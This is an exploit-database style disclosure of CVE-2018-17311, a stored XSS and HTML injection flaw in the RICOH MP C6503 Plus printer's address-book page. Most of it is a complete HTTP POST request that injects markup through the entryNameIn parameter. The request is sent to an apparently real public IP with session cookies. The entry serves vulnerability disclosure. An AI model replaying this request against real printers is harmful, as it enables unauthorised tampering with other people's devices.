# Exploit Title: RICOH MP C6503 Plus Printer - HTML Injection and Stored XSS # Date: 2018-09-21 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.ricoh.com/ # Hardware Link : https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6503-plus-color-laser-multifunction-printer/_/R-SIG-C6503-PLU-SET # Software : RICOH Printer # Product Version: MP C6503 Plus # Vulernability Type : Code Injection # Vulenrability : HTML Injection and Stored XSS # CVE : CVE-2018-17311 On the RICOH MP C6503 Plus printer, HTML Injection and Stored XSS vulnerabilities have been discovered in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi. # HTTP POST Request : POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 Host: 64.109.191.155 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/plain, */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://64.109.191.155/web/entry/en/address/adrsList.cgi Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 192 Cookie: risessionid=186737374338492; cookieOnOffChecker=on; wimsesid=205216910 Connection: close mode=ADDUSER&step=BASE&wimToken=278155990&entryIndexIn=00018&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1